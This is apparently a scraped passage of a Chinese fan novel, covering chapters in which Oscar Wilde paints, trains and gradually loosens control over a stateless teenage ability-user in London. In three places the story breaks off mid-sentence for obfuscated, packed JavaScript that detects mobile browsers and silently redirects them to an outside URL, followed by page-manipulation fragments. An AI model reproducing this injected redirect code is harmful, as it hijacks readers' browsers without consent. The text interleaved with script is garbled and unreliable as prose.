王尔德已经布置好了画具,皱着眉打量房间的光线。这种白炽灯的冷光太过单调,缺乏层次感,还会把所有阴影都打散。他让茧一眠在椅子上坐正,开始调整光线角度。 他给房间外的伍尔夫打手势,将灯管调暗到原来的三分之一。光线顿时柔和了许多,但还不够。 他又将房间内的台灯搬来,放在茧一眠右前方四十五度的位置,灯罩微微向上倾斜。调整的过程中,王尔德不时后退几步观察效果。 终于,他找到了理想的光线组合。暗下来的顶灯给整个房间蒙上一层柔和的底色,而台灯的光线则在茧一眠的侧脸上打出恰到好处的明暗对比。光线勾勒出他的轮廓,在颧骨处形成一道柔和的高光,而后颈和下颌线则隐没在淡淡的阴影中。 “往左偏一点……不,太多了。肩膀放松,对,就是这样。” 茧一眠僵硬地按照指示动作。他从没做过模特,平时拍照摆pose也就是举个剪刀手。 “你太紧张了,表情都僵住了。”王尔德摸着下巴打量着。 “我不擅长摆姿势。”茧一眠尴尬地说。 为了缓解气氛,让男孩别那么僵硬,王尔德随意提起话题:“对了,听说是狄更斯和奥威尔带你来的?” 茧一眠回忆道,脸上的紧张稍微松动,“我只见过一个人,在警察局的审讯室,银色头发蓝色眼睛的,拿着手杖的人。”后来他的记忆就不太清晰了,晕了过去,醒来就在这里了。 “啊,那应该是奥威尔。”王尔德漫不经心地说。 茧一眠思索,如果是那本曾经被列为禁书的《1984》的作者,倒是和那种压抑的审讯室蛮搭的。话说1984里的东西不会在钟塔具象化吧?想到这里,他不由得打了个寒颤。 王尔德手上已经开始打底稿,“对了,从今天起,我就是你的监护人、老师、兼搭档了。” “什么意思?”茧一眠疑惑。 王尔德:“简单来说,我们要住在一起了。你的衣食住行都由我负责,我会教你如何控制异能,如何适应这里。” “我的异能是[画像],但在实战中不太方便。正好你有强大的攻击力,以后遇到危险时,你负责解决我的敌人,我负责后勤和策略。” 茧一眠:“也就是说,你锻炼我当你的保镖和打手?” 王尔德心情颇好的哼了一声:“答对喽。这是钟塔上层的安排,我们都没得选。不过比起被关在这种地方,和我一起生活总归是个更好的选择,不是吗?” 茧一眠想摇头,又想到自己正在摆姿势,停下了动作,“那我要在钟塔待多久……我什么时候能回华国?” “可你并不是华国人。”王尔德的话语脱口而出。 王尔德没有要刺激对方的意思,只是说出了他所知道的事实。在钟塔侍从,这类情报本就是公开的,他没想到男孩可能还不知道自己的处境。 茧一眠一下子急了,原本僵硬的表情瞬间被打破,“我当然是华国人!土生土长的华国人!” 王尔德的目光突然被眼前的景象吸引。少年脸上那种刻意维持的表情消失了,取而代之的是一种最纯粹的情感波动。那双琥珀色的眼睛里闪烁着难以置信和惊慌,像只被惊扰的灵鹿。 “狄更斯说已经联系过华国大使馆了,那里没有你的任何身份记录。”王尔德一边解释着,一边快速地在画布上勾勒,生怕错过这稍纵即逝的神情。 “那,我现在算什么?” 茧一眠的声音很轻,又有些抖,像是在自言自语。 “一个无国籍者,只是碰巧长着一张东方面孔。”王尔德全部注意力都在画布上。 茧一眠低下头,嘴唇微微颤抖。他当然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“哪种带子?”王尔德的声音从外面传来。 “呃,黑色的,有点像皮带。” “往腿上系系看,应该是袜带。如果不对的话试试胸前,可能是背带。” 茧一眠一通摸索,总算把衬衫和背带穿好了。深蓝色的长裤刚好到脚踝,配上齐腰的白袜和小牛皮鞋,像是从英国贵族学校走出来的学生。 他推开门,在王尔德面前扯了扯脖子上的金属环,“这个能摘下来吗?换衣服的时候不方便。” 王尔德打量着他的新装扮,颇为满意自己的眼光,“暂时不行。等你能控制住自己的异能再说。现在这个是必要的安全措施。” “那要多久才能学会控制异能?” “明天开始训练就知道了。” “为什么不是现在开始?”茧一眠还在和领口那个碍事的金属环作斗争。 王尔德理了理自己的领结,一脸理所当然:“因为我累了,而且下班时间到了。” 茧一眠:“……” 他着实没想到在这种情况下还能听到“下班”这个词。失去了身份,被关进监狱,被画了一幅诡异的画像,现在要跟着一个自称是监护人的陌生人回家——而这个人竟然在跟他讨论下班时间。 他一时不知道该吐槽,还是该为自己感到悲哀。 王尔德看了看手表:“走吧,我知道一家不错的餐厅,正好赶得上晚餐时间。” 5. 第 5 章 餐厅内,厚重的窗帘挡住了外面的车水马龙。墙上贴着暗红色花纹的墙纸,几幅刻着金色边框的油画挂在墙上,画中的贵族老爷正用傲慢的目光俯视着食客。 王尔德把外套递给侍者,露出里面的马甲,落座时衣摆也半点不乱。看起来就很适合被摆在墙上,和那些油画里的老爷作伴。 茧一眠打开面前厚重的皮质菜单,目光凝固了—— ·Welsh Rabbit(威尔士兔子) ·Toad in the Hole(洞里的癞蛤蟆) ·Pigs in Blankets(被子里的猪) ·Bubble and Squeak(气泡和吱吱声) ·Bangers and Mash(□□和糊糊) ·Stargazy Pie(仰望星空派) …… 这都是什么跟什么?茧一眠的表情一点点垮下来。每看一个菜名,他的眉头就皱紧一分。 他就认识一个仰望星空,但那玩意能吃吗? 王尔德本来很正常地看着菜单,余光瞥见茧一眠的表情,瞬间突然明白了什么。 男孩大概是看不懂这些英国菜名,正在直译呢。 另一边,茧一眠的眼神从菜单转向王尔德,又转回菜单,又转向王尔德。 怎么还不点菜,他想着等王尔德点完菜后说“和他一样”呢。 再一次投去视线时,王尔德放下菜单,手肘支在桌上,正笑眯眯地看着茧一眠,一点开口的意思都没有。 就这么僵持了半分钟,茧一眠认命地闭了闭眼,“请问,这些到底都是什么菜?我看不懂。” “哦——”王尔德的笑容更深了,像是等这句话等了很久,“威尔士兔子其实是烤面包片上浇的奶酪酱,气泡和吱吱声是蔬菜和土豆泥煎成的饼,仰望星空派就有意思了,是把鱼头从馅饼里戳出来……” 茧一眠打断他,“这个我知道,不过英国人为什么要把鱼头戳出来?” 王尔德微笑:“为了让鱼能仰望星空啊。” 王尔德眨巴眨巴眼睛。 茧一眠:“。”好冷的笑话。 王尔德:“这可都是英国的传统美食。除了教你控制异能,我还要负责你的英语教学,就从这些菜名开始。” 茧一眠:“哈哈。”谁要学这种根本用不上的词啊。 最后在王尔德的解说下,他点了个听起来最正常的“威尔士兔子”。 服务生端上了装盘精致的面包片,茧一眠尝了一口。 “哦。”他愣住了。 就这?就这?一片涂酱面包?这也能叫一道菜?而且这酱味道好怪? 王尔德:“味道如何?” “……还行吧。”茧一眠机械地咀嚼着。为什么外国的留子都在说英国菜难吃,他终于懂了。 王尔德看出他的敷衍,“不用勉强,实际上英国菜就是这个味道。不过别急,等你吃几个月就习惯了。” “……啊。”茧一眠叉起的一块肉卷,没拿稳又掉落回盘子。 王尔德:“我看你似乎不太喜欢,要不要试试我这个?” 茧一眠看着那块王尔德叉子上裹着生蚝的培根,果断摇头选择刚才的怪味奶酪:“不了……面包片就挺好的。” “随你便。不过提醒你一下,明天开始就是我来负责你的三餐了,还是尽早适应英式料理的好。” “。” …… 王尔德庄园坐落在里士满区,离泰晤士河不过两条街的距离。 庄园前的铁门漆成墨绿色,修剪整齐的常青灌木沿着砖石小径排列,草坪像绿色地毯般平整,几棵橡树经过精心修剪,枝叶呈现出完美的伞状。 进入别墅内,门厅里摆着一架施坦威 D-274 三角钢琴,黑色的烤漆在灯光下泛着光。茧一眠学过八年钢琴,看见他眼睛直发亮。 “会弹?”王尔德问。 “学过一点。”茧一眠的目光在琴键上流连。这琴可太棒了。 “那弹一首?” 茧一眠立刻收回视线:“算了,这琴太好了,我怕手抖弹坏了。” 王尔德笑了:“放心,就算弹坏了也不会让你赔。” “还是算了。”茧一眠退后一步。 “可惜了,希望你以后能改变主意,我带你去看你的房间。”王尔德转身上楼。 走廊铺着羊毛地毯,深绿色的底上绣着枝叶纹样。两人踩在上面,皮鞋硬是没发出一点声音。墙上挂着一排风景画,走廊尽头的窗户正对着花园。 王尔德为茧一眠准备的房间在二楼右侧。四柱床的床柱是黑胡桃木的,帷幔是墨绿丝绒,床头柜上放着一盏小夜灯。衣柜里挂着几套英式制服,领带都是温莎结样式,美丽但不好穿的品种。 窗外可以看到庄园东侧的玫瑰园在晚风中轻轻摇动。茧一眠数了数,光是他能看到的就有七八个品种。 花瓣层层叠叠的大马士革玫瑰;一片白的似乎是雪山玫瑰,通红的是普罗旺斯玫瑰,还有很多他叫不上名字的。微风吹过,花香混着泥土的气息飘进屋中。 王尔德倚在门口,确认没问题后便准备离开,“好好休息,明早见。” “好。”茧一眠轻快的回应。 关门声响起,茧一眠直直陷进床里,像是掉进了一团云。这张床比监狱里那张硬板床不知道好了多少倍,软得能把人吞进去。他忍不住在上面滚了几圈,又突然想起这是在别人家,赶紧坐直了身子。 月光透过落地窗洒进来,他下意识换算起时差来,大英比华国晚八个小时,现在这里是晚上十点,那边应该是第二天早上六点,天还没亮,应该也能看到月亮吧。 想想看咱妈家的文豪有多厉害,光是四大名著就是碾压式的超级·超越者水平了吧。有他们在,这个世界的祖国近代史一定不会再受气了…… 现在这个时间段,应该在进行改|革|开|放——一切都欣欣向荣啊。 他叹了口气,把脸埋进枕头。好想家啊啊。 打了几个滚后,茧一眠成大字型瘫在床上。 算了,人活着半死不活才是常态。走一步看一步吧,以后总能找到离开的机会……他一定会回去的。 庄园 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15063120|163022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的另一侧,奥斯卡·王尔德进入画室,推开橡木门,反手落上三道锁。 他打开顶灯。画室比客厅还大,四周摆满了画架,每个画架上都蒙着黑色天鹅绒布。靠墙角堆着几幅破损的画像,画布上的颜料剥落了,露出斑驳的痕迹。其中一幅还能看清画中人的轮廓,那是去年离开的管家,画像毁了,人也就消失了。 房间正中摆着一幅最大的画像,足有两米多高。王尔德走过去,手指勾住天鹅绒布的一角,轻轻往下一拉。布料滑落,露出他自己的等身像。 画中的王尔德穿着墨绿色的礼服,慵懒地靠在玫瑰花园的躺椅上。 王尔德在画架前的长凳坐下,开始调配颜料。 这是他每隔一段时间都要做的事。时间在他脸上留下痕迹,但画像永远停留在过去。他会一笔一笔地修改画中人的样貌,让它和此刻的自己完全一致。 这幅画完成于王尔德十五岁时,那时的他还是个少年,五官都未完全张开,画像也一样青涩。随着年岁渐长,每当他的脸愈发俊美,他都要给画像添一笔,直到画中人也长成这副完美的模样。 今年他二十三岁,生命中最好的年纪。 可是再过几年呢? 他无法想象自己变成其他中年英国男人那般模样——稀疏的头发,凸起的啤酒肚,松弛的面部轮廓。光是想象就令他不寒而栗。 画像突然开口,声音与王尔德一模一样,“别想太多,我们永远都会这么美丽。” 王尔德会心一笑,他的画像总是知道他喜欢听什么的,确实,现在的他们都处在最好的时候,他还不想考虑未来。 他一边修改画像的眉眼,一边与画中人闲聊:“对了,庄园里来了位新客人。” “哦?”画像露出好奇的神色。 “一个东方人,钟塔侍从安排的,以后要由我来照看。” 画像笑起来:“我记得东方人的花期都很长,能保持年轻很久呢。” 王尔德一边调色一边解释道:“是啊,不过时间对每个人都是公平的。英国人往往在成年之前就达到容貌的巅峰,所以成年后就开始衰败。而东方人多半是成年后才真正长开,自然显得年轻许多。” “那男孩好看吗?”画像突然问道。 王尔德的笔尖在画布上轻点:“很漂亮,像是来自华国的玉石,看着让人心情愉悦,就是有点木木的。” “真想见见他。”画像向前倾身,那姿态像是要从画框里探出来,“让我看看到底是什么样的人能入我们的眼。” 王尔德的表情瞬间冷了下来:“不行。” 钟塔的人只知道他异能的一半——画像受伤,本体也会受伤。这种表象让他们觉得钟塔侍从掌控了王尔德,以为只要有了画像就能控制住他。 但他们不知道的是,这种联系是双向的。王尔德的画像可以替他承担伤害,只要画像还在,即使他受了致命伤也能安然无恙。这就是为什么他这个功能性异能者从不惧怕暗杀和报复。 “好吧,好吧。”画像的失落只持续了一瞬,很快又换上了惯常的笑容。他们都很清楚,有些话题是不该再提起的。 6. 第 6 章 茧一眠六点就醒了。 昨晚睡得不踏实,一直担心错过训练时间,很早就醒了,在房间里坐立不安。 八点半,王尔德才慢悠悠地出现,手里端着红茶,一副刚起床的样子:“怎么这么早?” “不是说今天开始训练吗?” “嗯?”王尔德像是才想起这回事,“啊,对。” “那我们现在出发?” “不急,等茶凉一些再说。”说完,王尔德又不紧不慢地搅动着茶匙。 “……”茧一眠看着他一小口一小口地品茶,脑袋里悄悄萌生出把茶杯直接扣在他头上的想法,又甩甩头把这想法丢了出去。 半个小时后,王尔德终于喝完了茶,又回房间换了身衣服,这才不紧不慢地带茧一眠去训练场。 在去往钟塔的路上,王尔德终于正经起来,“今天的训练分三个阶段,第一阶段是基础测试,包括异能强度、触发条件和作用范围。第二阶段是控制力训练,你需要学会精确地使用异能。第三阶段是实战模拟,让你在压力下也能保持对异能的掌控。” 训练场的电梯在最下层停下。金属门打开,露出一个巨大的空间。茧一眠被带到一个全封闭的钢铁房间前。 “进去吧。”王尔德推开沉重的铁门。 茧一眠走进去,金属门在身后重重关上。房间比他想象的要大,四面钢板墙上各嵌着一扇铁门,里面站着一个一米高的机器人,身上挂着一个靶子。 房间外,王尔德正舒服地坐在控制台前,两条腿交叠,膝盖上搭着条手帕,手里还捧着不知道从哪变出来的新茶杯,像个看戏的老爷。面前一排监控屏幕,每个都从不同角度拍摄着训练室内的情况。 “准备好了吗?没问题,我就要开始取下抑制环了。”王尔德懒洋洋的声音通过扬声器传来。 冰凉的金属环从脖子上脱落,茧一眠活动了下脖子,总算不那么难受了。 “攻击前面的靶子。” 茧一眠盯着那个人形靶子,试图唤起异能。但什么也没发生。 “想象它是敌人。”王尔德的声音依然平静。 还是没反应。 茧一眠又尝试了三次,依旧纹丝未动。 “那么,换个方式。” 随着控制台的一声轻响,机器人的眼睛亮起红光,它的动作很生硬,像是老旧木偶一样一节节地活动起来。 茧一眠眼睁睁地看着它抬起右手,手掌以一种违反常理的方式旋转着,金属片层层收缩,最后变形成一根漆黑的枪管。 茧一眠反应过来时,一颗子弹已经擦着他的肩膀飞过。 他从小就坚持晨跑和健身,一直保持着良好的运动习惯。长年的锻炼让他的身体素质很硬,反应也比一般人快得多,才险些躲过。 “你疯了吗!”他大叫着躲闪。 更多子弹飞来,一颗子弹擦着他的耳朵飞过,在身后的钢板上留下一个凹痕。紧接着是第二颗、第三颗。 茧一眠拼命翻滚躲避,但空间就这么大,很快他就退无可退。眼看一颗子弹直奔胸口,他下意识抬手。 砰——! 一声闷响。靶子机器人和周围一米范围内的钢板全部化为粉末。 “应激反应型异能,只有在生命受到威胁时才会触发。”王尔德对着记录人员说。 “你丫的想杀了我吗?!”茧一眠气得爆出了中文。 王尔德虽然听不懂,但还是能感受到男孩的愤怒。不过他语气依旧轻松,“放心,都是橡胶子弹,最多让你疼几天,死不了。” 茧一眠骂人的话停在嘴边,房间另一侧的门突然打开。十几个机械人鱼贯而入,动作整齐划一,全都配备着橡胶子弹发射器。 “这批是钟塔侍从新购入的专门用来训练异能者的机械人。等你能控制异能的作用范围,精确地只摧毁目标靶子而不伤及其他机器人和其他物体时,就可以出来了。” 茧一眠抬头对着监控镜头,“等等,不是说要先做基础训练吗?为什么直接就实战了?!” “计划赶不上变化。而且有时候,直接把人推进深水区反而学得更快。” “你——” 话没说完,机械人们已经举起了武器。茧一眠只得闪躲:“奥斯卡·王尔德你个王八蛋!”这句话也是用中文骂的。 观察室里,王尔德悠闲地喝着红茶,看着屏幕上的再次化为灰的机器人。他对助手说:“通知济慈先生再多准备几批机械人,这个训练的消耗量可能要超出原计划了。” …… 七天后的训练室。 茧一眠靠在钢板墙上喘气,身上的绷带已经渗出了血。这七天,除了吃饭时间能从送餐窗口拿到些巧克力和面包,短暂休息一会儿外,他一直在和机器人周旋。 右臂上青紫的淤痕还没消,左腿上又挨了一枪。橡胶子弹确实打不死人,但疼痛绝对是实打实的。 现在他已经能感觉到体内的异能了,就像血液里流淌着一股不稳定的暗流。每当他专注的时候,这股力量就会从体内涌出,将目标分解成最基础的粒子。 [万花筒]这是他的异能名字。那是他高中时写的一本小说,当时流行写小说,他也跟着写了一本。记得还是用的蓝色封皮笔记本,写完就塞在书柜最里层了,除了自己之外没给任何人看过。 茧一眠不认为自己写的东西有多好,那本小说成为异能大抵是开罐器的水准,或许由于穿越者的特殊性,这个世界的机制为了让他更好的生存,好心把他的异能加强了。 七天的高强度训练下来,最明显的成果是他的反应速度。现在他能在机器人开枪的瞬间就判断出弹道,提前闪避。 其次是对异能的掌控。一开始他只能在极度危险时被动触发异能,而且范围完全不受控制。现在他已经能主动引导那股力量,精确地将其作用在目标上,不会再伤及无关的物体。 茧一眠的周围,十几个机器人整齐地倒在地上,每个都只有靶心的位置被精确分解,其他部分完好无损。 这意味着他已经完美的完成了控制训练。 训练室的门被打开,王尔德站在门外,“恭喜你完成基础训练。” 茧一眠看着王尔德一尘不染又整洁的衣服,心里一阵不是滋味。 这七天他在训练室里和机器人死磕,王尔德每天按时下班,晚来早退,一副优哉游哉的样子。 “多谢您指导啊。”他咬着牙说。但不得不承认,这种地狱式训练还是有成效的。 王尔德皱着眉打量茧一眠被汗水浸透的衣服和乱糟糟的头发:“去洗个澡吧,你这样……不太好看了。” 茧一眠忍住翻白眼的冲动,他不是不讲卫生的人,他也想洗澡,这不是一直被关在里面吗! “知道了,这里有浴室吗,我现在去。” 王尔德从口袋里掏出一张磁卡递 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走到自己的洗浴间门口时,他发现门没有关严,轻轻一推就开了。他在门前犹豫了下,还是走了进去。 打开门后,先是外层隔间,里面有一面大落地镜、真皮沙发、柜子和各式护理用品。 内间的浴室门口的地上扔着茧一眠脱下来的衣服和染血的绷带。王尔德驻足片刻,目光在那些绷带上停留了几秒,这几天的特训看来确实不轻松。 他将手中装着新衣服的袋子放在一旁的矮柜上,决定在外间的沙发上坐下等待。 浴室的水声哗哗。 …… 最后一次冲洗后,茧一眠关掉花洒,温热的水珠顺着发梢滴落。他忽然意识到没有带换洗的衣物。 怎么办呢,凉拌吧。 穿回之前那套衣服,回去再换。 他在腰间围上一条浴巾,拉开一小条门缝,手在门外摸索自己脱下的衣服。 摸了半天只抓到了空气,他将门开得更大一些,探出一个湿漉漉的脑袋。 他猝不及防地对上了王尔德的视线。只见王尔德正抱着双臂坐在那里,嘴角挂着若有似无的笑意。 “在找这个?”王尔德晃了晃手里的纸袋。 茧一眠被吓了一跳:“你怎么在这?” “送衣服来的。”王尔德把袋子丢过去,“新的。” “哦,谢了!”茧一眠伸手来接,动作带得浴巾微微下滑。 王尔德的目光在他身上停留了几秒——没想到平时看着清瘦的少年身材还挺结实的。腰腹的劲瘦,隐约能看到几块腹肌,是典型的穿衣显瘦脱衣有肉。 “你、呃——” 注意到王尔德的视线,茧一眠立刻把衣服挡在胸前,脸上浮现出一丝羞恼。 大意了,忘了这家伙是个gay了。话说他咋进来的? 他螃蟹步挪回浴室,“砰”地关上门。 小小的老子被看了身子,发个小小火。 王尔德忍着笑说,“外面有沙发,浴室地面太滑了,换衣服不方便。” 茧一眠不语,只是在浴室里默默金鸡独立穿裤子。 王尔德在外,听到里面传来的悉悉索索的声音。透过浴室毛玻璃能看到一个晃动的影子,看样子是在单脚站着穿裤子,王尔德一下子笑出了声音,惹得浴室内的身影又是一僵。 7. 第 7 章 茧一眠从浴室后,粗略地给自己重新缠了一圈绷带。至于淤伤,没有对应的药处理,只能随它去了。 王尔德家的司机早就等在外面的停车场了。茧一眠跟着王尔德上了后座,因为后背有伤,他便歪着身子靠在车窗玻璃上。饥饿感和疲惫一起涌上来,整个人蔫得像晒蔫的茄子。 王尔德倒是心情很好,翘着腿,哼着不知道什么歌,听着调子像是爱尔兰的民谣。 “你下次能温柔点训练吗?”茧一眠忍不住问。 “哦,你想我对你怎么温柔?哪种温柔?”王尔德托着腮,飘了个媚眼。 茧一眠瞬间没了继续对话下去的欲望,不想搭理王尔德的调侃,扭头看向窗外。 车子突然拐进一条小巷,在一家店前停下。 “下车。” “干嘛?” “带你买点东西。” 这是一间合租的店面,左边是医药保健,右边则是进口零食和日用品,中间用玻璃板隔开,一个戴眼镜的老头坐在柜台后面看报纸。 王尔德径直走到药品区,挑了几盒跌打药和膏药。然后又拿了一堆零食——茧一眠看到了日文和泰文。 回到车上,王尔德把零食扔给茧一眠:“先垫垫肚子。” 茧一眠打开一包饼干,居然是抹茶味的。王尔德一边开车一边说:“那家店的老板是亚裔,进了不少亚洲零食。” “哦。” 车子停在王尔德庄园后门。王尔德拿着药,示意茧一眠跟他进屋。 “把衣服脱了。” “啊?” “处理伤口,你刚刚在车上不是一直疼得吸气吗。” 王尔德已经拆开了跌打药,催促道,“快点,别一副我要吃了你的表情。” 茧一眠不情不愿地脱掉上衣,露出后背和手臂上青紫的淤痕。 王尔德:“你知道为什么要这么训练你吗?” “不到。” “还有两周就是新人统一训练,一方面,是为了保护其他新人,让你不会在训练中失控。另一方面,是给你抢时间——钟塔每年都有新人死在任务中。去年一年就有七个,前年是五个。每届新人有15%的死亡率,大多发生在头两年。” 王尔德的指肚轻轻划过淤青处,涂抹着药膏,“我不希望我教出来的学生也成为其中之一,现在痛一点,总比以后死在任务里好。” “……哦。”茧一眠僵直着背,感觉王尔德的手指在每处伤痕上都停留得过分久。他现在反倒宁愿对方像训练时那样干脆利落地下狠手,至少他能咬牙忍过去,而不是像现在这样,连呼吸都不知道该用什么频率。 终于,最后一块膏药贴好了。茧一眠长出一口气,肩膀终于放松下来。 王尔德选的药还不错,药味清淡,不会让人一闻就发晕。他低头看看自己,浑身上下贴满了膏药,活像个膏药贴展示板。 王尔德开始收拾散落的药品和包装纸。他解开的领带被丢在一旁,衬衫的袖子挽到手肘,露出一截线条流畅的小臂。 茧一眠这才注意到,王尔德那件考究的白衬衫袖子上沾了一点药膏,深绿色的痕迹在雪白的布料上格外明显。大概是刚才给自己处理伤口时蹭上去的。 “王尔德,谢谢。”他鬼使神差地开口。 王尔德愣了一下,随即露出一个浅淡的笑容,“先别谢我,明天还有你受的呢。” …… 日子一天天过去,茧一眠的伤口一茬接着一茬。王尔德的训练丝毫不见松懈,每天都要把他逼到极限。 但训练结束后,这个男人又会变得异常温柔,仔细地给他上药。 这种极端的反差一度让茧一眠不适应。有时他觉得自己快要得斯德哥尔摩综合征了——白天被虐得死去活来,晚上被柔情似水温柔相待。他几乎每天都得告诉自己一遍,警惕王尔德的温柔攻势。 但他们确实形影不离。按照规定,茧一眠不能离开王尔德的视线范围。两个男人整天黏在一起的场面似乎有些微妙,总是有行人向他们投来微妙的目光。 这天的训练格外艰苦。茧一眠瘫在地上,连动一根手指的力气都没有了。他隐约看到王尔德坐在训练室的角落里,不知道在写些什么,但他已经累得没精力去关心了。 王尔德收起本子走过来,“起来,带你去个地方。” 茧一眠:……不想动。 茧一眠几乎是被王尔德拖着走出训练室。他们来到一家看起来很普通的咖啡厅,王尔德和店长熟稔地打了个招呼,对方立刻会意地带他们去了里间的包房。 王尔德示意茧一眠坐下,从衣兜里掏出一张折叠整齐的纸,“坐。” 茧一眠像只融化的蛞蝓一样瘫在桌面。王尔德打开那张纸时,他好奇地探头去看。那是一张伦敦市地图,上面加了许多手写标注。 王尔德说,“看到这些红点了吗?钟塔的监控摄像头。蓝色的是警局的,绿色的是私人的。” “好多啊……”茧一眠呢喃,密密麻麻的彩色小点几乎覆盖了整张地图。 王尔德用钢笔点了点几个地方,“这条巷子虽然是死胡同,但拐角处有个废弃的花园。从那里穿过去,能直接到这条小路。这条路线可以躲过钟塔侍从的监控,很安全。” “好……躲掉钟塔侍的,等等,什么??”茧一眠一下子清醒了,这是在点他吗?可他最近没表现出什么逆反心理吧,大概。 王尔德放下地图,侧过头看着茧一眠,“你不觉得天天和我黏在一起很无聊吗?现在你的异能已经能控制得很好了,我觉得可以给你一点自由空间。” 茧一眠第一反应这是某种试探,于是他的手指动了动,又缩了回去,“可是,你不是钟塔侍从派给我的监护人吗?” 王尔德看着他纠结的样子,轻轻笑了。那种眼神让他想起在街边看到的流浪猫——当你递给它一罐猫粮时,它会用那种既渴望又警惕的眼神打量你很久,判断这份善意是否可信。 “是啊,但监护不是监禁。再美的玫瑰,被困在阴影里,得不到阳光,也是会枯萎的。” 茧一眠心里微微一动。这些天他训练室和庄园两点一线,每天除了训练就是训练,连说话的人都没有几个。 理智告诉他要保持警惕,但内心更愿意赌一把相信王尔德。就算这是个测试,大不了再被关回去。反正现在的生活也好不到哪去。 这样想着,他悄悄把椅子挪到王尔德身边,无声表示立场。 王尔德似乎对他的反应很满意,将地图摊放在两人中间,用手指划过几个标记点,“这几家超市和便利店都可以去。如果有人问起,就正常回答你饿了渴了想买点东西。” 茧一眠问道:“可我的所有行动不是都要报备吗?” “理论上是这样。但要把一个人的所有行踪、所有言论都记录下来,实在是件太过繁琐无聊的事。你的档案已经堆了好几箱子了。钟塔侍从的员工不是机器,他们也会想偷懒,这种平常的行动睁一只眼闭一只眼便过去了。” 王尔德的语气突然严肃起来:“但有一点必须记住,千万不要在大街上随便使用异能,尤其是被普通人目击到。英国对这方面管理得很严格。” 茧一眠郑重地点头,表示自己会注意的。 王尔德继续叮嘱道,“等新人统一训练,对你的管控就会松懈下来,毕竟要和其他人一起上课。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15063122|163022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“和其他异能者相处要注意,我知道华国人讲究谦虚,但那一套在钟塔行侍从不通。这里是弱肉强食的地方,第一印象很重要,最好一开始就展现出你的实力。” “要打架吗?”茧一眠脑海里浮现出进监狱的第一天先找一个壮汉打一顿的规矩。 王尔德轻笑:“哈哈,不用那么直接,只是让他们知道你不好惹。弱小的人会被欺负,强大的人没人敢招惹。” 离开咖啡店后,王尔德提议去“散步”。 王尔德走在前面半步的位置,他走得很慢,黑色皮鞋和石板路之间偶尔发出清脆的声响。茧一眠跟在旁边,时不时东张西望,努力记住街道的特征。 在一处拐角,王尔德忽然开口道,“钟塔侍从管辖的监控,主要在主干道上,隐蔽性比普通摄像头高。” 他的视线微不可察地往上方扫了一眼。茧一眠会意,装作欣赏建筑的样子抬头望去。 茧一眠发现那个摄像头比普通的要小巧得多,几乎完美地融入了砖墙之间。如果不是王尔德的暗示,他根本不会注意到。 接着,王尔德又带着茧一眠拐进一条狭窄的巷子,“这条路看起来偏僻,但其实是去市中心的捷径。当地人都走这边,游客才会选大路。” “那边那家花店,是钟塔侍从的眼线。隔壁街的书店很安全,因为店主讨厌异能者,从不配合监视。” 路过一户人家时,一位老妇人正倚在门边抱怨天气。王尔德突然停住脚步,嘴角微扬,转头看向茧一眠:“看好了,我教你怎么跟英国人搭话。” 他优雅地转身,用标准的英腔对老妇人说:“确实,这鬼天气糟透了。” 老妇人立刻来了精神,两人很快聊起了未来一周的天气预报和她的风湿病。 茧一眠在一旁看得目瞪口呆。就这么水灵灵的聊上了??? 等走远后,王尔德向茧一眠解释道:“在英国,抱怨天气是最好的开场白。你可以用所有能想到的糟糕词汇来形容天气,对方一定会接话。” 茧一眠若有所思地点头。这好像确实比“How are you”实用些。但他更多觉得这一套能一直行得通是因为王尔德长得帅,没人会拒绝一个帅哥搭话。 在茧一眠将内心想法说出后,王尔德大笑起来:“不不不,你太小看英国人对天气的执着了——” 他像是打开了话匣子,滔滔不绝地讲起英国人的特点,“对了,你可得知道英国人最爱用反讽,这可是个把讽刺发展成艺术的民族。” 王尔德见过太多外国人在听不懂反讽时尴尬的场面。要是他带出来的人在集训时被人讽刺还傻乎乎地说“yes”,那可就糟了。 王尔德想了想,决定说得详细一些:“比如说,如果有人对你说‘It''s very interesting'',那就是在说‘这也太无聊了''。如果有人说‘I don''t mean to be rude’,那他接下来一定会说特别刻薄的话。” “一言概之,英国人越是客气,可能越是在表达不满。” 茧一眠抓了抓头发,“好复杂,那我该怎么分辨他们是真心还是在讽刺?” 王尔德回应道:“警惕那些一脸愉悦的人。越是热情的夸奖,可能越是在挖苦你。真心的夸奖反而很平淡,比如‘not bad’‘quite good''。” 茧一眠在记忆宫殿认真地记着笔记,觉得自己打开了新世界的大门。他原以为王尔德只是个不着调的家伙,没想到他居然会教导自己人情世故和生存法则。 想到以后能有自己可以偷偷溜出去玩,他心里就忍不住雀跃起来。 王尔德好感度+50! 8. 第 8 章 最近几周,王尔德对茧一眠的管控都很松懈。从最初偷偷溜出去买零食,到现在能自由在外活动几个小时,对方都是一副视而不见的模样。 自由的感觉自然很好,但有些事情却让茧一眠越来越难以忍受——比如英国的食物。 